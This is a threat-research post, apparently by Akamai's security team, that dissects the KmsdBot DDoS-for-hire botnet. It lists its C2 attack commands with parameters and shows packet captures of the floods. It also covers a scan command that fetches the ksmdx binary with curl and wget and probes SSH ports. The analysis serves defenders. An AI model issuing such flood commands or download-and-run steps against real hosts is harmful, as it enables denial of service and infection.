Emulating KmsdBot’s Command and Control and Examining Its Attack Traffic
Editing and additional contributions by Tricia Howard
Executive summary
Akamai researchers have continued their research on KmsdBot, a cryptomining botnet, and have examined its attack traffic.
Because of the myriad industries and geographies that were targeted, we believe KmsdBot is a distributed denial of service (DDoS) for hire.
Based on observed IPs and domains, the majority of the victims are located in Asia, North America, and Europe.
Two notable targets were FiveM and RedM, game modifiers for Grand Theft Auto V and Red Dead Redemption 2, respectively, which gives us insight into the customers for this botnet.
Although we cannot confirm the botnet’s origins, there is an interesting lack of activity in Russian and surrounding regions, which may point to its birthplace.
Introduction
Back in November, a cryptomining botnet got trapped in one of our honeypots. Our Security Intelligence Response Team (SIRT) analyzed it and dubbed it KmsdBot. It infected the honeypot after experimenting with a new configuration and had some interesting origins. We have continued to analyze and play around with KmsdBot, including modifying the binary and pointing it at our own command and control (C2), which led to us watching the threat actor crash the botnet.
As part of our ongoing research, we decided to document the different commands that the KmsdBot accepts and actually implements. The environment we’re testing allows us to route the C2 and send attack traffic to specific hosts, which means we are able to examine the traffic that was sent from different attack commands. For reference, the bot has Layer 4 and Layer 7 attacks using TCP, UDP, HTTP, and HTTPS with GET and POST requests.
Initial analysis
Through the analysis of the malware, we were able to find some command strings by searching for the “move absolute” instruction (Figure 1).
Fig. 1: A partial list of botnet command strings
We found more commands by looking at other instructions used to load data into registers. This time the instruction is lea, or load effective address (Figure 2). From there, we were able to analyze the varying string locations of the C2 server (Figure 3).
Fig. 2: A second partial list of additional commands
Fig. 3: String location of the C2 server
Analyzing the attack traffic
Based on the tcpdumps of attack traffic, some of the available commands do not appear to be implemented fully yet, but send out a default or empty packet instead. Most of these unimplemented commands are the TCP version of a working UDP command. For the commands that do work, though, we can observe some unique attack patterns.
The first attack that stands out is called “bigdata” and sends 1 Mb POST requests to the specified port. The Content-Type header indicates that the payload is URL-encoded, but upon inspection, it appears to be junk. The goal of this attack is to send large amounts of data in the body of each request to increase the amount of bandwidth each packet will require to process the request. This is a very basic functionality that almost all DDoS campaigns use, and it’s one of the most popular functionalities for this botnet as well based on our observations.
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
In addition to !bigdata, we see !tcpbigdata and !udpbigdata. These commands do not send quite as big a payload and are SYN and UDP packets, respectively. Their function appears to be the same as the standard bigdata, where they increase the amount of stress these packets put on a server by increasing the packet size, but also provide the control of choosing SYN and UDP traffic.
By using a SYN flood, the attacker can abuse the three-way handshake used in the TCP protocol to establish a half-open connection on many different ports. This causes the target server to have a hard time handling the amount of traffic and an even harder time trying to distinguish between legitimate connection requests and malicious ones. UDP attacks benefit from not needing the three-way handshake, making it easier to attack a target because there is less overhead on the attacker's side. If the target doesn’t properly rate the limit, this attack can be effective with fewer attack resources.
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
There were also some standard HTTP(s) POST and GET traffic commands that blend in with standard traffic by closely resembling a normal packet both in size and format, instead of focusing on the overall impact of the size of the single packet. The typical aim for HTTP-based attacks is a large number of packets that are hard to distinguish from normal activity and therefore make it hard to filter out when responding to an attack. As you can see below, these packets closely resemble generic packets.
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
The hex commands (!udphex and !tcphex) contain a small amount of hex-encoded content. This could be because some hosts require content to be hex encoded in order to process the command, or it could be sent with the intent to cause the target server to have a difficult time interpreting the data within.
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
While the udphex/tcphex commands did not focus on size, the tcphexclimb/udphexclimb commands appear to incorporate this strategy. Each command is sent in one packet. With these commands, the packet size starts small, similar to the udphex and tcphex traffic, but grows in packet size as more get sent. After observing this traffic for some time, we can see that after hitting a certain specified packet size, it will start back at a smaller size and grow again, repeating this process over and over.
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
Two particular commands stood out because they appear to be targeting video game modding servers. We had noted in our first post that the earliest we had seen KmsdBot was with FiveM. FiveM and RedM are platforms for hosting modified “Grand Theft Auto V” and “Red Dead Redemption 2” servers, respectively, that allows server owners to create different rules and incorporate new ideas into the server that were not present in the standalone game.
The presence of these two commands supports the suspicion that this malware is a form of DDoS for hire. This theory is also supported by the wide variety of industries that were targeted: gaming, luxury brands, and even security companies.
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
A very unique command from this botnet is the !scan command. The scan feature appears to target specific paths within the target environment, performs a three-way handshake, and then sends a curl PUSH request and a wget PUSH request to them. The scan also appears to run two different binaries, kumd and kmsd.
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
We observed kmsd running '/x86_64/ksmdx’, and attempted to use these parameters with the ksmdx binary to see what would happen. It began scanning IPs with port 22 left open, adding to the suspicion that it is used to search for additional devices to infect and incorporate into the botnet.
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
Geographies
In addition to attack commands, we were able to map the target IPs and domains we observed to geographic locations. A large concentration of targets was located in Asia, North America, and Europe based on the observed IPs and domains.
There was also notably minimal activity targeting Russian territory and its neighbors, which may be a useful indicator in determining the true origin of these attacks. In Figure 4, each marker denotes at least one attack attempt of KmsdBot.
Fig. 4: KmsdBot infection attempts
Tracking the C2 commands
Some of our initial efforts revolved around the observation of activity coming from the C2 server. We started by inserting ourselves into the botnet as an infected host and then proceeded to wait for attack commands to come in from the C2 server. We logged these attack commands in Elastic, noting the commands, targets, timestamps, and other variables we observed.
This allowed us to not only see which attack capabilities were being used, but also gave us a sense of the spread of victims and exactly how each command was intended to be used. Through this process, we were able to extract these 18 commands:
post
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Scan
Immediately what stood out to us when looking at the names of these commands was the specificity of some of the commands and the overall variety being supported. In the case of ‘bigdata’, we saw it not only offered as a standalone feature but also as a TCP-specific version and as a UDP-specific version. Most of the other commands are offered in a similar way.
Additionally, a major finding is a set of commands that target specific gaming servers: ‘fivem’ and ‘redm.’ The presence of these commands tracks with previous observations of targeted gaming servers and offers a glimpse into the customers of this botnet for hire.
In Figure 5, you can see the breakdown of the attack commands we observed over 30 days, as well as the frequency with which we saw them.
Fig. 5: The top utilized botnet commands, and their frequencies, observed over 30 days
The commands ‘bigdata’ and ‘get’ lead the pack with more than 70 commands, likely because they are the most impactful generic attacks. The third most frequent attack, ‘fivem’, comes in with approximately 45 calls. This tells us that although gaming servers are a specific target offered, it may not be the only industry that is being hit with these attacks.
The FiveM command still gets used a lot, and even RedM still gets used, but the frequencies of commands coming through lead us to conclude that the victim portfolio is very diverse. Support for multiple types of servers increases the overall usability of this botnet and appears to be effective in driving in customers.
Conclusion
When we first began analyzing KmsdBot, it was intriguing for a few notable reasons: It was written in Go, it had cryptomining functionality, and it had seemingly erratic targets. On further analysis, the evidence is pointing toward it being a DDoS as a service player, which would explain many of the interesting facts about it.
One of the goals of the Akamai SIRT is to dissect and document the evolution of botnets such as KmsdBot and inform the public of what we observe. KmsdBot conforms to some of the trends we have been seeing in general, specifically the language in which it is written.
It is becoming increasingly more common to develop malicious code in different languages, like Go and even compiled Python. The SIRT will continue to monitor the threat landscape as it ebbs and flows.